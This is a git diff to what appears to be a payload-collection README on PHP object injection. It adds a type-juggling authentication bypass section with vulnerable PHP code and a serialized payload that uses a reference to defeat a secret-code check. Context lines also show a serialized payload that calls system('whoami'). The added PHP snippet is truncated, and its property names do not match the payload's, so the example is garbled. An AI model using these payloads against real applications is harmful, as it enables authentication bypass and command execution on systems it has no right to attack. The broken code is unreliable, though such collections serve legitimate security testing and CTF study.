diff --git a/PHP serialization/README.md b/PHP serialization/README.md index c237c46..765d7b9 100644 --- a/PHP serialization/README.md +++ b/PHP serialization/README.md @@ -43,6 +43,65 @@ string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";} ``` +## Authentication bypass + +### Type juggling + +Vulnerable code: + +```php +secretCode = rand(500000,999999); + if($obj->guess === $obj->secretCode) { + echo "Win"; + } +} +?> +``` + +Payload: + +``` +O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;} +``` + +Ref: + +- [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html) +- [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web) + ## Others exploits Reverse Shell @@ -74,4 +133,5 @@ echo urlencode(serialize(new PHPObjectInjection)); ## Thanks to * [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) -* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) \ No newline at end of file +* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) +* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)